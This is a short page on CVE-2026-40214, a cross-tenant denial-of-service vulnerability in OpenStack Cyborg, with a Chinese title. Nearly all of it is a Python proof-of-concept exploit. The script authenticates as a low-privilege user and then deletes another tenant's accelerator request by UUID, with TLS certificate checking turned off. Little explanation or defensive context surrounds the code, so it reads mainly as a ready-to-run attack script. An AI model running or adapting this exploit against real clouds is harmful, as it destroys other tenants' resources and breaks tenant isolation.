CVE-2026-40214 OpenStack Cyborg 跨租户拒绝服务漏洞

# Proof of Concept for CVE-2026-40214 # This script demonstrates how a non-admin user can delete ARQs belonging to other tenants. import requests import os # Attacker's credentials (low privilege user) AUTH_URL = "https://openstack-api:5000/v3/auth/tokens" CYBORG_URL = "https://openstack-api:666/v2/accelerator_requests" USERNAME = "attacker_user" PASSWORD = "attacker_pass" PROJECT_ID = "attacker_project_id" def get_token(): # Authenticate and get token payload = { "auth": { "identity": { "methods": ["password"], "password": { "user": { "name": USERNAME, "password": PASSWORD, "domain": {"name": "Default"} } } }, "scope": { "project": { "id": PROJECT_ID } } } } headers = {"Content-Type": "application/json"} resp = requests.post(AUTH_URL, json=payload, headers=headers, verify=False) return resp.headers.get("X-Subject-Token") def exploit(): token = get_token() headers = {"X-Auth-Token": token} # 1. List ARQs. Due to the vulnerability, this might return ARQs from all projects or allow deletion by ID. # In this PoC, we assume the attacker knows the UUID of a victim's ARQ (e.g., via enumeration or leaked ID). victim_arq_uuid = "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee" print(f"Attempting to delete ARQ: {victim_arq_uuid} belonging to another tenant...") # 2. Send DELETE request delete_url = f"{CYBORG_URL}/{victim_arq_uuid}" resp = requests.delete(delete_url, headers=headers, verify=False) if resp.status_code == 204: print("[+] Success: ARQ deleted. Cross-tenant denial of service achieved.") else: print(f"[-] Failed: Status code {resp.status_code}") if __name__ == "__main__": exploit()